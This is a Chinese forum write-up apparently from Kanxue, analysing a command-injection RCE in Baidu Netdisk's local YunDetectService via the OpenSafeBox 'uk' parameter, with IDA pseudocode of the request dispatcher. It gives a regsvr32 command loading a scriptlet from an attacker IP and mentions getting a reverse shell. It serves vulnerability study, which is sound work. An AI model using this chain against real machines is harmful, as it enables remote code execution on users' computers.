某日,在看雪论坛看到一篇关于**的RCE漏洞,很感兴趣,然后收集了相关资料,虽然各个平台写的都非常详细,也都包含了Poc运行版本之类的,但是总归想要自己研究透彻一点,于是开搞。
我找到参考的资料如下
这两篇文章当中非常详细且专业的讲解了漏洞的原理。
站在巨人肩膀上,自己再做一个总结,班门弄斧,简单来说,这是一个本地服务未授权访问导致的命令注入漏洞,最终通过“白利用”(利用系统自带合法的 regsvr32 和 scrobj.dll)实现了远程代码执行。首先,下载对应的版本7.59.5.104,然后正常启动。安装后,会启动一个名为 YunDetectService.exe 的服务,默认监听本地 TCP 10000 端口 。该服务通过 HTTP/HTTPS 协议接收请求,且无需身份认证 。在处理 OpenSafeBox 接口时,程序会接收 uk 参数 。YunDetectService.exe 接收到 uk 参数后,会将其作为 -userkey 的值,通过字符串拼接的方式直接传递给主程序 BaiduNetdisk.exe 。没有对 uk 参数进行任何安全检测或过滤,导致攻击者可以注入额外的命令行参数 。
攻击者通过精心构造 uk 参数,实际上构建了一条复杂的攻击链,流程如下:
1.注入 BaiduNetdisk.exe 的功能参数
攻击者不仅仅传入 userkey,还注入了 -install regdll 参数 。这个参数原本是用来注册百度网盘自己的 DLL 文件(YunShellExt.dll)的 。
路径穿越与 DLL 劫持
正常的注册流程会拼接 DLL 路径。攻击者利用路径穿越符 ..\ 将目标 DLL 路径指向了系统自带的 C:\windows\system32\scrobj.dll 。注意这里有一个限制条件:构造路径穿越时,必须包含 \Users\[用户名]\AppData\Roaming\baidu\BaiduNetdisk\,因此攻击者必须知道目标计算机的用户名 。
注入 regsvr32.exe 实现远程加载
BaiduNetdisk.exe 最终会调用系统工具 regsvr32.exe 来注册上述 DLL。攻击者使用双引号 " 截断了原本的文件路径参数,并注入了 regsvr32 的特有参数 /u /i。最终会让命令变成让 regsvr32 去加载一个远程的 XML 文件(SCT脚本):
执行远程脚本 (JScript)
系统加载远程的 poc.xml 文件,该文件实际上是一个 Scriptlet 组件。其中包含的 JScript 代码(例如 WScript.Shell 运行 calc.exe)会被系统执行,从而完成 RCE 。
理解原理以后,把安装目录当中的YunDetectService.exe拖出来放进ida当中看看。一开始想的是,搜索OpenSafeBox或是uk这两个字符串。但是我直接搜opensafebox没结果

然后找uk这个字符串,好像找到一个相关的,进去查看这个部分。

查看引用,发现都不是我想要的,代码部分的分析,我就不献丑了。


这三个都不是,有点灰心,然后我想到两个文章当中都有说过一个函数GetVersion,利用已知函数反推分发逻辑,首先确定的就是有这么个函数,返回版本号。在web当中是这样的

搜索这个部分当中的关键字version

然后找到引用

查看这个部分的代码:
伪代码:
首先确定这个就是刚刚看到的功能点,所有的 HTTP 请求处理逻辑一定汇聚在同一个类似于“功能分发函数”(Dispatcher)里。就像FastBackServer一样。“分发函数”应该会有大量的if/else或者switch结构的代码。找到调用 sub_4F7690 的上级函数。这个函数就应该是“分发函数”。

跳转到这个函数看下

伪代码:
果然不出所料,大量的if/else的结构,我们可以通过伪代码清晰地看到它是如何解析 method 参数并分发给不同函数的。虽然字符串可能被加密(或使用全局变量引用 dword_6BC5xx),但结构出卖了它。
我们来逐一分析这个分发逻辑:
sub_4F7690 = GetVersion
代码行 107-111:else { sub_4F7690(a2, v44); ... }
与之对应的比较逻辑:wcsicmp(v26, dword_6BC578)。这意味着 dword_6BC578 实际上指向的就是字符串 "GetVersion"。
sub_4F7960 = DownloadShareItems(我在上面手动命名的函数)
sub_4F7C10 = DownloadSelfownItems(同上)
到这里,接下来需要找到我给出的两个链接当中的大佬说的漏洞,也就是说还是需要找到OpenSafeBox方法的参数uk相关的操作。
(这个截图是我给出的链接当中的分析)

来分析这里别的功能的部分,比较有嫌疑的是下面三个分支。
-----------------------无关紧要的部分----------------------------------
sub_4F7740: 这个函数紧跟着 GetVersion (dword_6BC578),使用的是 wcsicmp 而不是 sub_411BE0(这可能是一个自定义的比较函数)。这看起来像是一个简单的 Getter,很可能对应GetPcCode。跳转查看

-----------------------无关紧要的部分----------------------------------
这里根据文档 OpenSafeBox 的参数:它需要 uk 参数。 应该和上面部分我找到的 DownloadShareItems 结构差不多。所以我觉得第一段是比较像的。跳转查看

看到这个部分关键字其实就大概确定自己找对方向了
这里,继续跟进
sub_4B7040部分伪代码
v3 = sub_4B1BA0(v2);,还需要继续跟进。
最后来到真正拼接的部分
这个就是最终有漏洞的部分
这里就是漏洞成因了
漏洞原理验证: 文档中提到“代码中没有对该参数进行安全检测和过滤,因此此处存在命令行参数注入” 。 在这行代码中,程序没有对第二个 %s 做任何转义(没有引号包裹,没有过滤空格)。只要你在 uk 参数里输入空格,就能“逃逸”出 -userkey 的范围,伪造出新的参数(例如 -install regdll)。
代码的第 45 行
回顾整个过程,通过逆向分析完整复现了数据流向:
知其然,知其所以然,接下来到了利用的部分。
poc.xml

接着尝试一下反弹shell
在kali当中准备一个xml
然后在kali当中开启一个web服务,然后访问,就会得到一个反弹shell


https://bbs.kanxue.com/thread-288381.htm
https://b19K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3k6J5k6h3g2T1N6h3k6Q4x3X3g2U0L8$3@1`./articles/vuls/456820.html
https://bbs.kanxue.com/thread-288381.htm
https://85cK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3k6J5k6h3g2T1N6h3k6Q4x3X3g2U0L8$3@1`./articles/vuls/456820.html
regsvr32.exe /u /i:http://攻击者IP/poc.xml scrobj.dll
regsvr32.exe /u /i:http://攻击者IP/poc.xml scrobj.dll
int __stdcall sub_4F7690(_DWORD *a1, int a2)
{
sub_4B44E0("7.59.5.104");
sub_4B4880(a2, "{\"version\":\"%s\",\"errorno\":0}", 0);
*a1 = 200;
if ( _InterlockedDecrement((volatile signed __int32 *)0xFFFFFFFC) <= 0 )
(*(void (__stdcall **)(int))(*MEMORY[0xFFFFFFF0] + 4))(-16);
return 0;
}
int __stdcall sub_4F7690(_DWORD *a1, int a2)
{
sub_4B44E0("7.59.5.104");
sub_4B4880(a2, "{\"version\":\"%s\",\"errorno\":0}", 0);
*a1 = 200;
if ( _InterlockedDecrement((volatile signed __int32 *)0xFFFFFFFC) <= 0 )
(*(void (__stdcall **)(int))(*MEMORY[0xFFFFFFF0] + 4))(-16);
return 0;
}
int __thiscall sub_4F7250(_DWORD *this, _DWORD *a2, int a3, int *a4, int a5)
{
int v6;
bool v7;
int v8;
int v9;
int v10;
int v11;
int v12;
volatile signed __int32 *v13;
int v14;
int v15;
int *v16;
int *v17;
int v18;
OLECHAR *v19;
int v20;
int v21;
OLECHAR *v22;
const wchar_t *v23;
int v24;
int v25;
const wchar_t *v26;
int v27;
int v28;
int v29;
int v30;
int v31;
int v32;
OLECHAR *v33;
int v34;
int v36;
int v37;
int v38;
int v39[6];
int *v40;
int *v41;
OLECHAR *v42;
int v43;
int v44;
int *v45;
int v46;
v42 = (OLECHAR *)this;
v6 = a3;
*a4 = 0;
v7 = *(this + 1) == 0;
v44 = a3;
v40 = a4;
v43 = a5;
if ( v7 )
{
v8 = sub_40AE70();
if ( !v8 )
sub_40ABD0(-2147467259);
v9 = (*(int (__thiscall **)(int))(*(_DWORD *)v8 + 12))(v8) + 16;
v45 = (int *)v9;
v46 = 0;
if ( sub_4F8230(v39[1], v39[2]) )
{
v10 = *(this + 9);
if ( v10 )
{
if ( *(_DWORD *)(*(_DWORD *)(v10 + 68) - 12) )
{
sub_411F30(v10 + 68);
v39[0] = (int)&v45;
*a2 = 200;
sub_411F30(v39[0]);
v46 = -1;
v11 = (int)(v45 - 4);
*v40 = 1;
if ( _InterlockedDecrement((volatile signed __int32 *)(v11 + 12)) <= 0 )
{
v12 = *(_DWORD *)v11;
v39[0] = v11;
LABEL_54:
(*(void (__thiscall **)(int, int))(*(_DWORD *)v12 + 4))(v12, v39[0]);
return 0;
}
return 0;
}
}
}
v46 = -1;
v13 = (volatile signed __int32 *)(v9 - 16);
if ( _InterlockedDecrement(v13 + 3) <= 0 )
(*(void (__thiscall **)(volatile signed __int32, volatile signed __int32 *))(**(_DWORD **)v13 + 4))(*v13, v13);
v6 = v44;
}
sub_40A770(&off_699574);
v40 = this + 7;
v15 = sub_412410(&v45);
v16 = v40;
if ( v15 != *v40 )
{
if ( !(unsigned __int8)sub_411D90(&v45, v15 + 16) )
goto LABEL_16;
v16 = v40;
}
v15 = *v16;
LABEL_16:
v17 = v45 - 4;
if ( _InterlockedDecrement(v45 - 1) <= 0 )
(*(void (__thiscall **)(int, int *))(*(_DWORD *)*v17 + 4))(*v17, v17);
v39[5] = (int)&off_69B0D8;
v39[0] = v14;
v46 = 1;
v45 = v39;
sub_40A770(&off_6998F4);
v36 = v18;
LOBYTE(v46) = 2;
sub_40A770(&off_699914);
LOBYTE(v46) = 1;
sub_5015C0(v19, v36, v39[0]);
if ( *((_DWORD *)v42 + 10) < 0x1F4u )
{
sub_412190("{\"info\":\"Frequency Invalid request!\",\"error\":31034}", 0x33u);
v39[0] = v20;
v41 = v39;
*a2 = 400;
sub_40A770(L"frequency_request");
LOBYTE(v46) = 3;
LABEL_20:
v37 = v21;
sub_40A770(&off_699914);
LOBYTE(v46) = 1;
sub_5015C0(v22, v37, v39[0]);
return 0;
}
v23 = (const wchar_t *)*((_DWORD *)v42 + 3);
if ( *((_DWORD *)v23 - 3) )
{
if ( !dword_6BC590 )
sub_40ABD0(-2147467259);
if ( !wcsicmp(v23, dword_6BC590) )
{
sub_4F8420(a2, v6);
v39[0] = v24;
v41 = v39;
sub_40A770(L"download_request");
LOBYTE(v46) = 4;
goto LABEL_20;
}
}
v25 = sub_40AE70();
if ( !v25 )
sub_40ABD0(-2147467259);
v26 = (const wchar_t *)((*(int (__thiscall **)(int))(*(_DWORD *)v25 + 12))(v25) + 16);
v45 = (int *)v26;
LOBYTE(v46) = 5;
if ( v15 != *v40 )
{
sub_408580(v15 + 20);
v26 = (const wchar_t *)v45;
}
if ( *((_DWORD *)v26 - 3) )
{
if ( !dword_6BC578 )
sub_40ABD0(-2147467259);
if ( wcsicmp(v26, dword_6BC578) )
{
if ( !dword_6BC57C )
sub_40ABD0(-2147467259);
if ( !wcsicmp(v26, dword_6BC57C) )
{
sub_4F7740(a2, v44);
goto LABEL_52;
}
if ( !sub_411BE0(dword_6BC584) )
{
DownloadSelfownItems(v42, a2, v44);
goto LABEL_52;
}
if ( !sub_411BE0(dword_6BC580) )
{
DownloadShareItems(v42, a2, v44);
goto LABEL_52;
}
if ( !sub_411BE0(dword_6BC588) )
{
sub_4F7830(v42, a2, v44);
goto LABEL_52;
}
if ( !sub_411BE0(dword_6BC58C) )
{
sub_4F7E20(a2, v44);
goto LABEL_52;
}
v30 = sub_411BE0(dword_6BC594);
v39[0] = v44;
if ( v30 )
{
sub_4F7800(a2, v39[0]);
v39[0] = v32;
v41 = v39;
sub_40A770(L"invalid_request");
LOBYTE(v46) = 9;
}
else
{
sub_4F8970(v43, a2, v39[0]);
v39[0] = v31;
v41 = v39;
sub_40A770(&off_6999CC);
LOBYTE(v46) = 8;
}
}
else
{
sub_4F7690(a2, v44);
v39[0] = v29;
v41 = v39;
sub_40A770(&off_6999A4);
LOBYTE(v46) = 7;
}
}
else
{
sub_412190("{\"info\":\"Invalid request!\"}", 0x1Bu);
v39[0] = v27;
v41 = v39;
*a2 = 400;
sub_40A770(L"invalid_request");
LOBYTE(v46) = 6;
}
v38 = v28;
sub_40A770(&off_699914);
LOBYTE(v46) = 5;
sub_5015C0(v33, v38, v39[0]);
LABEL_52:
LOBYTE(v46) = 1;
v34 = (int)(v26 - 8);
if ( _InterlockedDecrement((volatile signed __int32 *)(v34 + 12)) <= 0 )
{
v12 = *(_DWORD *)v34;
v39[0] = v34;
goto LABEL_54;
}
return 0;
}
int __thiscall sub_4F7250(_DWORD *this, _DWORD *a2, int a3, int *a4, int a5)
{
int v6;
bool v7;
int v8;
int v9;
int v10;
int v11;
int v12;
volatile signed __int32 *v13;
int v14;
int v15;
int *v16;
int *v17;
int v18;
OLECHAR *v19;
int v20;
int v21;
OLECHAR *v22;
const wchar_t *v23;
int v24;
int v25;
const wchar_t *v26;
int v27;
int v28;
int v29;
int v30;
int v31;
int v32;
OLECHAR *v33;
int v34;
int v36;
int v37;
int v38;
int v39[6];
int *v40;
int *v41;
OLECHAR *v42;
int v43;
int v44;
int *v45;
int v46;
v42 = (OLECHAR *)this;
v6 = a3;
*a4 = 0;
v7 = *(this + 1) == 0;
v44 = a3;
v40 = a4;
v43 = a5;
if ( v7 )
{
v8 = sub_40AE70();
if ( !v8 )
sub_40ABD0(-2147467259);
v9 = (*(int (__thiscall **)(int))(*(_DWORD *)v8 + 12))(v8) + 16;
v45 = (int *)v9;
v46 = 0;
if ( sub_4F8230(v39[1], v39[2]) )
{
v10 = *(this + 9);
if ( v10 )
{
if ( *(_DWORD *)(*(_DWORD *)(v10 + 68) - 12) )
{
sub_411F30(v10 + 68);
v39[0] = (int)&v45;
*a2 = 200;
sub_411F30(v39[0]);
v46 = -1;
v11 = (int)(v45 - 4);
*v40 = 1;
if ( _InterlockedDecrement((volatile signed __int32 *)(v11 + 12)) <= 0 )
{
v12 = *(_DWORD *)v11;
v39[0] = v11;
LABEL_54:
(*(void (__thiscall **)(int, int))(*(_DWORD *)v12 + 4))(v12, v39[0]);
return 0;
}
return 0;
}
}
}
v46 = -1;
v13 = (volatile signed __int32 *)(v9 - 16);
if ( _InterlockedDecrement(v13 + 3) <= 0 )
(*(void (__thiscall **)(volatile signed __int32, volatile signed __int32 *))(**(_DWORD **)v13 + 4))(*v13, v13);
v6 = v44;
}
sub_40A770(&off_699574);
v40 = this + 7;
v15 = sub_412410(&v45);
v16 = v40;
if ( v15 != *v40 )
{
if ( !(unsigned __int8)sub_411D90(&v45, v15 + 16) )
goto LABEL_16;
v16 = v40;
}
v15 = *v16;
LABEL_16:
v17 = v45 - 4;
if ( _InterlockedDecrement(v45 - 1) <= 0 )
(*(void (__thiscall **)(int, int *))(*(_DWORD *)*v17 + 4))(*v17, v17);
v39[5] = (int)&off_69B0D8;
v39[0] = v14;
v46 = 1;
v45 = v39;
sub_40A770(&off_6998F4);
v36 = v18;
LOBYTE(v46) = 2;
sub_40A770(&off_699914);
LOBYTE(v46) = 1;
sub_5015C0(v19, v36, v39[0]);
if ( *((_DWORD *)v42 + 10) < 0x1F4u )
{
sub_412190("{\"info\":\"Frequency Invalid request!\",\"error\":31034}", 0x33u);
v39[0] = v20;
v41 = v39;
*a2 = 400;
sub_40A770(L"frequency_request");
LOBYTE(v46) = 3;
LABEL_20:
v37 = v21;
sub_40A770(&off_699914);
LOBYTE(v46) = 1;
sub_5015C0(v22, v37, v39[0]);
return 0;
}
v23 = (const wchar_t *)*((_DWORD *)v42 + 3);
if ( *((_DWORD *)v23 - 3) )
{
if ( !dword_6BC590 )
sub_40ABD0(-2147467259);
if ( !wcsicmp(v23, dword_6BC590) )
{
sub_4F8420(a2, v6);
v39[0] = v24;
v41 = v39;
sub_40A770(L"download_request");
LOBYTE(v46) = 4;
goto LABEL_20;
}
}
v25 = sub_40AE70();
if ( !v25 )
sub_40ABD0(-2147467259);
v26 = (const wchar_t *)((*(int (__thiscall **)(int))(*(_DWORD *)v25 + 12))(v25) + 16);
v45 = (int *)v26;
LOBYTE(v46) = 5;
if ( v15 != *v40 )
{
sub_408580(v15 + 20);
v26 = (const wchar_t *)v45;
}
if ( *((_DWORD *)v26 - 3) )
{
if ( !dword_6BC578 )
sub_40ABD0(-2147467259);
if ( wcsicmp(v26, dword_6BC578) )
{
if ( !dword_6BC57C )
sub_40ABD0(-2147467259);
if ( !wcsicmp(v26, dword_6BC57C) )
{
sub_4F7740(a2, v44);
goto LABEL_52;
}
if ( !sub_411BE0(dword_6BC584) )
{
DownloadSelfownItems(v42, a2, v44);
goto LABEL_52;
}
if ( !sub_411BE0(dword_6BC580) )
{
DownloadShareItems(v42, a2, v44);
goto LABEL_52;
}
if ( !sub_411BE0(dword_6BC588) )
{
sub_4F7830(v42, a2, v44);
goto LABEL_52;
}
if ( !sub_411BE0(dword_6BC58C) )
{
sub_4F7E20(a2, v44);
goto LABEL_52;
}
v30 = sub_411BE0(dword_6BC594);
v39[0] = v44;
if ( v30 )
{
sub_4F7800(a2, v39[0]);
v39[0] = v32;
v41 = v39;
sub_40A770(L"invalid_request");
LOBYTE(v46) = 9;
}
else
{
sub_4F8970(v43, a2, v39[0]);
v39[0] = v31;
v41 = v39;
sub_40A770(&off_6999CC);
LOBYTE(v46) = 8;
}
}
else
{
sub_4F7690(a2, v44);
v39[0] = v29;
v41 = v39;
sub_40A770(&off_6999A4);
LOBYTE(v46) = 7;
}
}
else
{
sub_412190("{\"info\":\"Invalid request!\"}", 0x1Bu);
v39[0] = v27;
v41 = v39;
*a2 = 400;
sub_40A770(L"invalid_request");
LOBYTE(v46) = 6;
}
v38 = v28;
sub_40A770(&off_699914);
LOBYTE(v46) = 5;
传播安全知识、拓宽行业人脉——看雪讲师团队等你加入!
最后于 2025-12-31 14:08
被kanxue编辑
,原因: